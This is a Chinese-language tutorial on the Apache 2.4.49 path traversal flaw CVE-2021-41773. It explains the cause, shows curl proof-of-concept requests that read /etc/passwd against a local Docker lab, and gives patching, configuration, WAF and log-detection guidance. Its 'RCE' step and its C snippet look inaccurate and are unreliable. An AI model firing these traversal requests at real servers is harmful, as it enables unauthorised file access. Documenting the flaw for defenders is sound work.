Apache 2.4.49 路径穿越漏洞 CVE-2021-41773:3步复现与1个关键配置修复

Apache 2.4.49路径穿越漏洞深度解析:从原理到实战修复指南

漏洞背景与影响范围

2021年10月,Apache HTTP Server 2.4.49版本被曝出存在严重的路径穿越漏洞(CVE-2021-41773),该漏洞允许攻击者在特定配置下访问Web根目录外的文件系统。这个漏洞的CVSS评分为7.5(高危级别),影响了全球数百万台Web服务器。

受影响版本

  • Apache HTTP Server 2.4.49(唯一受影响版本)

漏洞本质:路径规范化缺陷导致攻击者可以构造特殊URL绕过安全检查,实现非授权文件访问。当服务器配置了Require all granted且未启用mod_negotiationmod_autoindex时,漏洞利用成功率最高。

漏洞原理深度剖析

路径规范化机制失效

Apache的ap_normalize_path()函数在处理包含编码字符的路径时存在逻辑缺陷。正常情况下,该函数应将/%2e%2e/这样的路径遍历序列转换为/../并进行安全检查,但在2.4.49版本中:

# 正常情况应阻止的路径 /icons/.%2e/%2e%2e/%2e%2e/etc/passwd # 漏洞版本错误解析为 /../../../../etc/passwd

关键代码层面分析

漏洞核心在于server/util.c文件中的路径处理逻辑:

// 有缺陷的规范化函数片段 if (path[l] == '%' && l + 2 < path_len) { if (apr_isxdigit(path[l+1]) && apr_isxdigit(path[l+2])) { // 未正确验证解码后的字符序列 decoded = x2c(&path[l+1]); if (decoded == '.') { // 未阻止编码形式的点号 state = part_dot; // 错误进入点号处理流程 } } }

3步复现漏洞实战

1. 环境搭建

使用Docker快速搭建漏洞环境:

docker run -dit --name apache2449 -p 8080:80 httpd:2.4.49

验证服务运行:

curl -I http://localhost:8080

2. 漏洞验证POC

通过curl发送恶意请求测试漏洞:

# 基础验证(返回HTTP 200即存在漏洞) curl "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/etc/passwd" # CGI目录利用(需启用cgi模块) curl "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"

预期结果

  • 漏洞存在:返回/etc/passwd文件内容
  • 已修复:返回403 Forbidden

3. 进阶利用演示

结合其他技术实现RCE(需特定配置):

# 读取网站配置文件 curl "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/var/www/html/config.php" # 写入测试文件(需可写权限) curl -X PUT -d "test" "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/var/www/html/test.txt"

1个关键修复方案

官方补丁升级

永久解决方案

# Ubuntu/Debian sudo apt update && sudo apt install apache2 # CentOS/RHEL sudo yum update httpd # 验证版本 httpd -v | grep "2.4.5[1-9]"

临时缓解措施

若无法立即升级,可通过配置限制:

# 在httpd.conf中添加以下规则 <Directory /> Require all denied Options None AllowOverride None </Directory> # 禁用CGI执行(如不使用) ScriptAlias /cgi-bin/ "/var/www/disabled/"

配置验证命令

apachectl configtest && systemctl restart apache2

防御体系构建建议

1. 网络层防护

  • 部署WAF规则拦截/%2e%2e/等恶意模式
  • 启用ModSecurity核心规则集:
SecRule REQUEST_URI "@contains %2e%2e" "id:1000,deny,msg:'Path Traversal Attempt'"

2. 系统层加固

  • 使用chroot jail限制Apache访问范围
  • 实施严格的文件权限控制:
chown -R root:www-data /var/www find /var/www -type d -exec chmod 750 {} \; find /var/www -type f -exec chmod 640 {} \;

3. 监控与响应

  • 实时监控异常访问日志模式:
# 监控日志中的路径穿越尝试 tail -f /var/log/apache2/access.log | grep -E '%2e%2e|\.\./'

企业级修复路线图

阶段措施时间窗责任人
紧急处置网络ACL临时拦截攻击IP1小时内安全团队
漏洞修复升级到2.4.51+版本24小时内运维团队
全面检测全网资产漏洞扫描3天内安全团队
长期防护部署RASP/WAF解决方案1周内架构团队

深度防御技巧

PHP特定防护

// 在php.ini中禁用危险函数 disable_functions = exec,passthru,shell_exec,system open_basedir = /var/www

日志分析脚本示例

#!/usr/bin/env python3 import re from collections import Counter log_pattern = re.compile(r'/(?:%2e|\.){2}/') attacker_ips = Counter() with open('/var/log/apache2/access.log') as f: for line in f: if log_pattern.search(line): ip = line.split()[0] attacker_ips[ip] += 1 print("Top attacking IPs:") for ip, count in attacker_ips.most_common(10): print(f"{ip}: {count} attempts")

该漏洞的修复不仅是版本升级的简单操作,更需要建立多维度的防御体系。建议企业按照以下优先级实施防护:

  1. 立即升级到2.4.51及以上版本
  2. 审查所有<Directory>配置,避免过度授权
  3. 部署文件完整性监控(FIM)关键系统文件
  4. 定期进行红蓝对抗演练验证防护效果